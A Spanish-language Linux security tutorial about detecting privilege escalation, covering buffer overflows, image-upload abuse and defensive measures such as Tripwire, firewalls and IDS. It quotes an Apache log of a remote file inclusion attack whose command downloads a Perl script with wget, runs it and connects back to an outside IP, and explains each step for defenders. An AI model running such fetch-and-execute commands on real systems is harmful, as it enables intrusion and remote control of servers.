GNU/Linux >> Tutoriales Linux >  >> Linux

¿Detección de escalada de privilegios?

Los exploits, por su propia naturaleza, intentan no ser detectados. Por lo tanto, la mayoría de los exploits no ingresan al sistema por medios normales, al menos no inicialmente. Por lo general, usarán algo como un desbordamiento de búfer para obtener acceso al sistema.

desbordamiento de búfer

Este estilo de ataque busca partes de una aplicación que buscan obtener información de un usuario. Piense en una página web y los diversos cuadros de texto en los que debe proporcionar información escribiendo cosas en estos cuadros de texto. Cada uno de estos cuadros de texto es un posible punto de entrada para un posible atacante.

La buena noticia:

  • La mayoría de estos ataques no obtienen acceso raíz, obtienen acceso a una cuenta de usuario configurada específicamente para el servidor web, por lo que normalmente tiene acceso limitado solo a los archivos y funciones del servidor web.
  • al irrumpir, el atacante ha dejado un rastro considerable en varias áreas.
    • Los registros del cortafuegos
    • Registros del servidor web
    • Otros registros potenciales de herramientas de seguridad

Las malas noticias:

  • Obtuvieron acceso a un sistema y, por lo tanto, tienen una cabeza de playa en la que pueden seguir intentando penetrar más.
  • Los registros. Sí, la mayoría de las veces las intrusiones no se detectan durante semanas/meses/años dado que el análisis de registros requiere mucho tiempo y es propenso a errores.

detectar inicios de sesión raíz

La mayoría de los sistemas están diseñados para no permitir inicios de sesión de raíz, por lo que este vector de ataque no es realmente un problema. La mayoría de los ataques obtienen acceso a alguna otra cuenta de nivel inferior y luego se aprovechan al encontrar vulnerabilidades adicionales una vez que han establecido una cabeza de puente en su sistema.

ejemplo #1:

Un posible atacante podría obtener acceso a la raíz haciendo lo siguiente:

  1. Ingresar a la cuenta del servidor web de un sistema encontrando una página web vulnerable que procesa la entrada de un usuario desde algún formulario a través de cuadros de texto.
  2. Una vez que se haya logrado el acceso a la cuenta del servidor web, intente obtener acceso shell a través de la cuenta del servidor web o intente que la cuenta del servidor web ejecute comandos en su nombre.
  3. Determinar que hay una debilidad en la versión de este sistema en particular de una herramienta como el comando ls .
  4. Desborde la herramienta ls para obtener acceso a la cuenta raíz.

ejemplo #2:

Un posible atacante podría ni siquiera estar interesado en obtener el control total de su sistema. La mayoría de los allanamientos solo están interesados ​​en sistemas de recolección para ser utilizados como "esclavos" para otros usos. Muy a menudo, el atacante solo está interesado en instalar su software en su sistema para poder usarlo, sin siquiera obtener el control total del sistema.

  1. Determinar que un determinado sitio web ha puesto a disposición la aplicación web X. El atacante sabe que la aplicación web X tiene una vulnerabilidad en la que la aplicación web X permite a los usuarios cargar archivos de imagen.
  2. El atacante prepara un archivo llamado CMD.gif y lo sube. Tal vez sea la imagen del avatar de un usuario en un sitio de foro, por ejemplo. Pero CMD.gif no es una imagen, en realidad es un programa, que se llama CMD.gif .
  3. El atacante carga una "imagen" en el sitio del foro.
  4. Ahora el atacante "engaña" a la aplicación web X para que ejecute su "imagen".
  5. El atacante hace llamadas con su navegador a la aplicación web X, pero lo llama de formas que los autores de la aplicación web X nunca imaginaron. Tampoco diseñaron la aplicación web X para no permitirlo.

archivo de registro del servidor web de dicho ataque

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
  "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
  &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
  %2072.36.21.183%2021 HTTP/1.1" 200

NOTA: registro de muestra de un servidor web Apache, cortesía de OSSEC.net.

Aquí, el atacante obtiene la aplicación web X (index.php) para ejecutar CMD.gif que luego puede hacer lo siguiente:

  1. cd /tmp
  2. wget http://72.36.254.26/~fanta/dc.txt
  3. perl dc.txt 72.36.21.183 21

Así que han persuadido a la aplicación web X para que cambie los directorios a /tmp , descarga un archivo, dc.txt y luego ejecute el archivo haciendo una conexión de nuevo a la dirección IP 72.36.21.183 en el puerto 21.

Deshabilitar un servidor "comprometido"

La idea de que puede cerrar un servidor que ha "detectado" un exploit es un buen intento, pero no funciona por un par de razones.

  1. Si el atacante puede ingresar al primer sistema, probablemente pueda ingresar al segundo sistema.
  2. La mayoría de los sistemas son esencialmente clones entre sí. Son más fáciles de mantener y mantener las cosas simples (lo mismo) es un sello distintivo de la mayoría de las cosas en TI y computadoras.
  3. Diferentes configuraciones significan más trabajo en el mantenimiento de los sistemas y más oportunidades de cometer errores, lo que suele ser lo que conduce a una vulnerabilidad para empezar.
  4. Es posible que el objetivo de los atacantes no sea ingresar, es posible que intenten denegar el acceso a su servicio. Esto se denomina denegación de servicio (DoS).

Intentando limitar el daño

Podría seguir y seguir, pero en general tiene algunos recursos disponibles cuando se trata de proteger un sistema.

  • Utilice herramientas como Tripwire para detectar cambios en el sistema de archivos de un sistema.
  • Cortafuegos:limite el acceso para que solo se permita explícitamente cuando sea necesario, en lugar de tener acceso completo a todo.
  • Analice los archivos de registro utilizando herramientas para detectar anomalías.
  • Mantenga los sistemas actualizados y actualizados con parches.
  • Limite la exposición:solo instale el software que se necesita en un sistema, si no necesita el gcc compilador instalado, no lo instale.
  • IDS:software de detección de intrusos.

Linux
  1. Cómo configurar un servidor web Apache

  2. Alojamiento web barato

  3. Ajuste del Keepalive del servidor web Apache

  4. Los mejores servidores Web Linux

  5. Escalada de privilegios usando el archivo passwd

Detección de vulnerabilidades de Wazuh

Directorios web protegidos

Qué es:Frameworks Javascript – Introducción

Cómo instalar CentOS Web Panel en CentOS 7.x

Seguridad de alojamiento web

Cómo configurar un servidor doméstico